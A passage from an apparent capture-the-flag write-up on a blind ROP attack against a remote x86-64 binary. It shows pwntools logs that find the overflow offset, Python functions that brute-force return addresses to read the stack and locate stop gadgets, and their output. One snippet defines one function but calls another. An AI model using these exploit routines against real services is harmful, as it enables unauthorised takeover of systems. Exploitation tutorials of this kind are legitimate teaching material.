[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc0\xe3\xb0\xff\xff\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc6\x15\x12\xfc\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x05\x1e\xfc\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9a\xfe\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfd\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe0\xa8\x8bn\xfd\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7f\xc6\xd8\xfe\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcd\n\xfd\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x97\xfd\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfe\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x06@Bye!\n&apos;
[*] sending: b&apos;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&apos;
[*] recv: b&apos;Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
40
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So now we know that we need 40 bytes of padding before the crash.&lt;/p&gt;
&lt;h3&gt;Stack reading&lt;/h3&gt;
&lt;p&gt;Stack reading is just basically a bruteforce of some bytes to trigger the orginal behaviour of the program. It permits especially to leak a stack canary or some saved instruction pointers. But I directly tried to find some stop gadgets, to do so, I&apos;m looking for something in the response. And the best stop gadget would be a unique pattern.&lt;/p&gt;
&lt;p&gt;I developped this small function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def leak2(padding: str, leak1=b&quot;&quot;):
    for i in range(256):
        buf = padding + leak1 + p8(i)
        resp = try_jmp(buf)
        # print(f&quot;Trying on {hex(int.from_bytes(leak1+p8(i), &apos;little&apos;) &amp;lt;&amp;lt; (64 - counter*8))}&quot;)
        if len(resp):
            print(f&quot;[{hex(int.from_bytes(padd(leak1+p8(i)), &apos;little&apos;))}] Output: {resp}&quot;)
            if len(leak1) &amp;lt; 8:
                leak2(padding, leak1=leak1+p8(i))
            else:
                return leak1
            continue

    return leak1

leak2(b&quot;a&quot;*40)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which returns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
[0x5] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x605] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x400605] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x400605] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x400605] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x1a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@&apos;
[0x61a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@&apos;
[0x40061a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@&apos;
[0x40061a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@&apos;
[0x1b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x61b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x40061b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x40061b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x40061b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x40061b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x1d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@&apos;
[0x61d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@&apos;
[0x40061d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@&apos;
[0x40061d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@&apos;
STOP: &amp;lt;class &apos;KeyboardInterrupt&apos;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I stopped the script because it&apos;s very long by it&apos;s already interesting to see that it seems we overwrite directly the return address, which means there is no canary. Morevever according to the addresses of the valid gadgets we found, the binary is not PIE based and it sounds to be a x86 binary.&lt;/p&gt;
&lt;h3&gt;Stop gadget&lt;/h3&gt;
&lt;p&gt;We can optimize the search of stop gadgets by bruteforcing only the two less significant bytes about the base address: &lt;code&gt;0x400000&lt;/code&gt;, which gives this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def try_jmp(s):
    while True:
        try:
            io = start()
            io.write(s)
            resp = io.recv(500, timeout=30.0)[35:]
            break
        except:
            print(f&quot;STOP: {sys.exc_info()[0]}&quot;)
            resp = -1 
            break

    return resp

def leak2_opti(padding: str):
    base = 0x400000

    for i in range(0x2000):
        buf = padding + p64(base+i)
        resp = try_jmp(buf)
        # print(f&quot;Trying on {hex(int.from_bytes(leak1+p8(i), &apos;little&apos;) &amp;lt;&amp;lt; (64 - counter*8))}&quot;)
        if len(resp):
            print(f&quot;[{hex(base+i)}] Output: {resp}&quot;)
            continue

    return leak1

leak2(b&quot;a&quot;*40)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which prints:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./solve.py
[0x4004cc] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x04@&apos;
[0x4004cd] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcd\x04@&apos;
[0x4004dd] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x04@&apos;
[0x400550] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x05@&apos;
[0x400560] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400562] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400563] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400565] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400566] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaf\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400567] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400569] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40056d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40056e] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40056f] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaao\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400570] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400576] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400577] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x05@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400596] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x05@&apos;
[0x400597] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x97\x05@&apos;
[0x40059c] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9c\x05@&apos;
[0x40059d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9d\x05@&apos;
[0x4005a0] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0\x05@&apos;
[0x4005a1] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa1\x05@&apos;
[0x4005a3] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\x05@&apos;
[0x4005a5] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa5\x05@&apos;
[0x4005b4] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05@&apos;
[0x4005b7] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb7\x05@&apos;
[0x4005b8] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x05@&apos;
[0x4005c0] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc0\x05@&apos;
[0x4005d6] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x05@&apos;
[0x4005d7] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd7\x05@&apos;
[0x4005dd] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x05@&apos;
[0x4005de] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xde\x05@&apos;
[0x4005e1] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe1\x05@&apos;
[0x4005e2] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x05@&apos;
[0x4005e4] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe4\x05@&apos;
[0x4005e5] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x05@&apos;
[0x4005e7] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe7\x05@&apos;
[0x4005e8] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe8\x05@&apos;
[0x4005eb] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xeb\x05@&apos;
[0x4005ec] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x05@&apos;
[0x4005ee] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xee\x05@&apos;
[0x4005ef] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\x05@&apos;
[0x4005f1] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf1\x05@&apos;
[0x4005f3] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf3\x05@&apos;
[0x400605] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@&apos;
[0x400608] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x08\x06@&apos;
[0x40061a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@&apos;
[0x40061b] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@&apos;
[0x40061d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@&apos;
[0x400622] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;\x06@&apos;
[0x400650] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x06@&apos;
[0x400656] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400657] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaW\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400658] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40065a] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZ\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40065e] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^\x06@What is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400663] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x06@\x84(\xad\xfb\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x400668] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@&amp;gt;&amp;gt;&amp;gt; &apos;
[0x40066d] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x06@\x84(\xad\xfb&apos;
[0x400672] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaar\x06@\x84(\xad\xfb&apos;
[0x400677] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x06@&apos;
[0x400681] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x81\x06@&apos;
[0x4006b4] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x06@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
[0x4006b5] Output: b&apos;Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb5\x06@Hello you.\nWhat is your name ?\n&amp;gt;&amp;gt;&amp;gt; &apos;
